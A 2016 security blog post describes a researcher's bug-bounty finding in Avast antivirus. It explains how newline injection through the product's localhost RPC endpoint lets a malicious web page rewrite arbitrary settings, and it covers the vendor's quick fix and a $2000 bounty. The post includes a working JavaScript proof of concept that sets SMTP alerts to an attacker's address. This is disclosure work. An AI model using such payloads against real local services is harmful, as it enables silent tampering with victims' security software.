2016-02-04

Pwning your antivirus, part 1: fun with Avast! RPC calls

Just yesterday, Tavis Ormandy from Google's Project Zero published some interesting findings he'd made in Avast antivirus. He had spotted an open RPC endpoint in one of the services, was able to figure out how to use it to launch the "Avastium" browser, an Avast fork of Chromium. He then went on to build an exploit for the browser, ending up with read access to the local filesystem.

This post is not about Tavis' findings. They're just a funny coincidence--if you can call a serious security issue funny. No, this post is about a closely related finding I made myself a couple of weeks ago, right before Avast managed to release a fix for it; or rather, a fix for the issues Tavis had identified, but also happened to fix this one.

---

If you've read my blog before, or otherwise know me, you'll know that I like to do a bit of hacking now and then. About two weeks ago I had the idea of making Avast's free antivirus software my next target. I noticed they had a bug bounty program, so if I actually found something, it'd be a total win-win. I grabbed the installer, set up the default installation, and started poking around.

I started by going through as much of the basic functionality as possible and mapping out an attack surface. I noticed Avast had a Chrome extension for things like content filtering and web reputation features. That became natural starting point for my first attempt: I've written Chrome extensions myself, so I'm familiar with the APIs and tools, and since they are mainly built with JavaScript and HTML, there's no need to break out IDA Pro right away.

Reading the code and observing network traffic, I quickly spotted a web server running on localhost:27275. It was used for passing data between the extension and the native "back-end" services. The protocol was some kind of a binary format wrapped in HTTP; as it turns out from Tavis' research, the exact format was binary protobuf. I didn't bother figuring out the exact protocol, as I found the content of the messages more interesting. I was seeing two types of messages:

....11.0.1.210..
...and...
....avastcfg://avast5/Common/PropertyDataSharing=1..
Both were sent as POST requests to http://localhost:27275/command. The former seemed to just contain some kind of version information, and didn't appear very interesting. The latter, however, was very promising. I reversed the protocol enough to figure out that the first four bytes of the message contained a byte indicating an RPC command (position 0x01) and another indicating the length of the string parameter (positon 0x03). The bytes at positions 0x00 and 0x02 seemed to be constant, as did the two bytes at the end of the message.

This is where my findings start to differ from the ones Tavis made: he apparently decided to enumerate all the possible RPC commands to see if there was anything else available, whereas I immediately had my eye on the avastcfg:// part. I mean, it's some kind of a URI for accessing--and editing--the configuration of your antivirus software. There has to be something nasty you can do with it!

Turned out there wasn't. I looked up some configuration options and tried changing them via an RPC call, but none of it worked. The calls were being validated in the native code, and only changing that one property was allowed. And the property being something about sharing data with Avast, it wasn't very interesting.

There was something interesting though: even though the name of the configuration property was being validated, the value wasn't! I was able to set avastcfg://avast5/Common/PropertyDataSharing=foo, then query for the value, and get foo back! Still not much, though, as long as the value was handled otherwise correctly.

I remembered seeing an option earlier for exporting your Avast configuration to a file. Maybe I could get an invalid PropertyDataSharing value exported to a file, and then trigger something when the same file was imported back to Avast. Getting a bit complicated and hard to exploit, I know, but it's still something. I figured I'd have a go.

The Avast export format is a .zip archive with a bunch of .ini configuration files in it. And as I'd thought, the PropertyDataSharing value was stored inside one of them, even when it was set to something bogus. Now, what would happen if I injected a newline into the value?

Success! Newlines weren't being encoded or escaped in any way inside .ini files. I was able to set arbitrary properties in the exported configs, and importing them back to Avast worked too! It was still pretty difficult to exploit, though.

After I'd exported and imported some crafted values a couple of times in a row, I noticed something strange: some of the configuration settings I'd injected started to appear in the exported file way more times in a row than they should have. It was like the import wasn't the only phase where they got injected. In fact, exporting and importing the configuration wasn't necessary at all! Apparently Avast was using the same .ini format internally, and had the same issue there! So now I was able to change arbitrary settings in Avast simply by handing the victim a malicious link. All that was left was building a nice PoC that would handle it automatically:

<script> var payload = "NetAlert=SMTP:attacker@example.com"; var url = "http://localhost:27275/command"; var message = "avastcfg://avast5/Common/PropertyDataSharing=0" + "\r\n" + payload; message = message.split("").map(function (s) { return s.charCodeAt(0); }); message = [ 0x08, 0x0e, 0x12, message.length ].concat(message); message = message.concat([ 0x18, 0x03 ]); message = new Uint8Array(message); var xhr = new XMLHttpRequest(); xhr.open("POST", url, false); xhr.send(message); </script>

The script above makes a cross-origin XMLHttpRequest to the RPC endpoint and configures an SMTP alert. Changing the payload, it should be possible to do pretty much anything you can from the Avast UI. Pretty neat, huh?

I reached out to Avast with the PoC, and quickly got a reply. They stated they were aware that the localhost HTTP server has issues; someone (Tavis) had reported a similar vulnerability in December. A fix was already planned and ready, and a release scheduled for about a week from then! Easily the quickest reaction from a vendor I've ever seen, even if they did have a head start!

Even though they were already aware of the issues with the RPC endpoint, the newline injection part was new to them. They decided on a $2000 bounty, which is not bad at all for an evening of messing around with some HTTP APIs. All in all, the response was great, and the issue is now fixed. If you're running Avast, I suggest installing the update ASAP.

Timeline:

2016-01-24>Initial report
2016-01-26<Acknowledgement from Avast; related issue reported in December, already fixed
2016-01-26>Clarified that the issue is currently exploitable in the latest release
2016-01-26<Confirmation that the fix has not been released yet
2016-02-02<Decision to pay a bounty of $2000
2016-02-03>Request for a status update on the fix
2016-02-04<Issue fixed, ok to publish details

No comments:

Post a Comment